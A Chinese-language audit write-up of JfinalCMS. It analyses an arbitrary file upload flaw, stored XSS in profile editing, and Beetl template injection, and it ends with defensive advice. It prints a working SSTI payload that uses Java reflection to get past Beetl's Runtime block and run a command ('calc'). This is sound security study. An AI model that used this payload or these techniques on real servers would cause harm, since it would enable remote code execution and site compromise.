一次意外的代码审计----JfinalCMS审计
字数 2041 2025-08-19 12:42:04
JfinalCMS 安全审计与漏洞分析教学文档
前言
本教学文档基于对 JfinalCMS 的代码审计实践,详细分析了该系统中存在的多个安全漏洞,包括任意文件上传、存储型 XSS 和 SSTI 模板注入漏洞。通过本教学,您将学习到如何发现和利用这些漏洞,以及如何防范类似安全问题。
环境搭建
JfinalCMS 提供多种搭建方式:
-
源码方式:
- 从 Gitee 或 GitHub 获取项目源码
- 使用 IDEA 打开项目
- IDEA 会自动导入并下载 Maven 依赖
-
发行版方式:
- 从 Gitee 或 GitHub 下载发行版
- Gitee 下载地址:https://gitee.com/jfinal/jfinal-cms
- GitHub 下载地址:https://github.com/jfinal/jfinal-cms
漏洞分析
1. 任意文件上传漏洞
漏洞位置
管理员后台的模板管理功能
漏洞分析
- 控制文件上传的代码位于
FileManagerController.java - 关键断点设置:
HttpServletRequest request = getRequest()- 文件上传方法内部
漏洞源码分析
-
文件上传基本验证:
public JSONObject add() { Iterator<?> it = this.files.iterator(); if (!it.hasNext()) { this.error(lang("INVALID_FILE_UPLOAD")); return null; } -
文件大小限制:
long maxSize = NumberUtils.parseLong(MAX_SIZE); if (getConfig("upload-size") != null) { maxSize = Integer.parseInt(getConfig("upload-size")); if (maxSize != 0 && item.getSize() > (maxSize * 1024 * 1024)) { this.error(sprintf(lang("UPLOAD_FILES_SMALLER_THAN"), maxSize + "Mb")); error = true; } }- 默认
maxSize为 0,表示无限制
- 默认
-
文件类型检查:
if (!isImage(item.getName()) && (getConfig("upload-imagesonly") != null && getConfig("upload-imagesonly").equals("true") || this.params.get("type") != null && this.params.get("type").equals("Image"))) { this.error(lang("UPLOAD_IMAGES_ONLY")); error = true; }- 配置文件
filemanager.properties中upload-imagesonly=false默认允许上传非图片文件
- 配置文件
-
文件处理流程:
- 创建临时文件
- 复制到上传目录并重命名
- 删除临时文件
漏洞总结
- 开发者未限制上传文件大小(默认无限制)
- 上传文件仅在前端做了白名单验证,后端无校验
- 配置文件默认不开启
filemanager.upload-imagesonly,需手动设置
2. 存储型 XSS 漏洞
漏洞位置
用户个人信息修改功能
漏洞分析
- 控制代码位于
PersonController.java - 数据更新流程:
- 将提交数据 JSON 化
- 根据用户 Session 判断用户 ID
- 验证密码和 Email 格式
- 更新数据库
漏洞源码分析
-
基本验证:
public void save() { JSONObject json = new JSONObject(); json.put("status", 2); // 失败 SysUser user = (SysUser) getSessionUser(); int userid = user.getInt("userid"); SysUser model = getModel(SysUser.class); -
密码验证:
if (user.getInt("usertype") != 4) { String oldPassword = getPara("old_password"); String newPassword = getPara("new_password"); String newPassword2 = getPara("new_password2"); // 密码验证逻辑... } -
Email 格式验证:
if (StrUtils.isNotEmpty(model.getStr("email")) && model.getStr("email").indexOf("@") < 0) { json.put("msg", "email格式错误!"); renderJson(json.toJSONString()); return; } -
数据更新:
model.update(); UserCache.init(); // 设置缓存 SysUser newUser = SysUser.dao.findById(userid); setSessionUser(newUser); // 设置session json.put("status", 1); // 成功
漏洞总结
- 整个数据更新过程无任何防护措施
- 缺少对用户输入的过滤和转义
- 恶意脚本可被持久化存储并在其他用户访问时执行
3. SSTI 模板注入漏洞
漏洞位置
管理员后台模板修改功能
漏洞详情
- 可修改模板代码插入恶意代码
- 导致远程代码执行
漏洞分析
-
控制流程:
- 请求进入
FileManagerController.java - 判断请求方法为 POST 时,判断是 upload 还是 saveFile
- 如果是 saveFile 方法,跳转到
FileManager.java的 saveFile 方法
- 请求进入
-
保存文件逻辑:
public JSONObject saveFile() { JSONObject array = new JSONObject(); try { String content = this.get.get("content"); content = FileManagerUtils.decodeContent(content); // 备份文件 bakupFile(new File(getRealFilePath())); // 写入内容 FileManagerUtils.writeString(getRealFilePath(), content); } catch (Exception e) { logger.error("IOException error", e); this.error("IOException error"); } return array; } -
模板引擎:
- 使用 Beetl 模板引擎
- 官方文档:http://ibeetl.com/guide/
Payload 构造
由于 Beetl 禁止了 java.lang.Runtime 和 java.lang.Process,需使用 Java 反射机制绕过:
-
基础 Payload:
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec", @java.lang.Class.forName("java.lang.String")).invoke( @java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")} -
构造过程:
- 原始调用方式:
Runtime.getRuntime().exec("calc") - 反射方式:
Class.forName("java.lang.Runtime") .getMethod("exec", String.class) .invoke(Class.forName("java.lang.Runtime") .getMethod("getRuntime",null) .invoke(null,null), "calc") - 由于不能直接使用
String.class,需替换为Class.forName("java.lang.String") Runtime类无无参构造方法,需通过getRuntime()方法实例化
- 原始调用方式:
漏洞总结
- 模板修改功能无任何防护措施
- 使用 Beetl 模板引擎时,可通过反射绕过限制
- 构造 Payload 需要理解 Java 反射机制
防御建议
-
任意文件上传防御:
- 严格限制上传文件类型
- 设置合理的文件大小限制
- 在后端进行文件类型验证
- 将上传文件存储在非 Web 可访问目录
-
存储型 XSS 防御:
- 对所有用户输入进行过滤和转义
- 使用 CSP (Content Security Policy)
- 设置 HttpOnly 标志的 Cookie
-
SSTI 防御:
- 限制模板编辑权限
- 对模板内容进行安全审查
- 使用沙箱环境执行模板
- 禁用危险的 Java 类和方法
参考资源
- Beetl 官方文档:http://ibeetl.com/guide/
- Java 反射机制教程
- OWASP XSS 防御指南:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- 文件上传安全指南:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload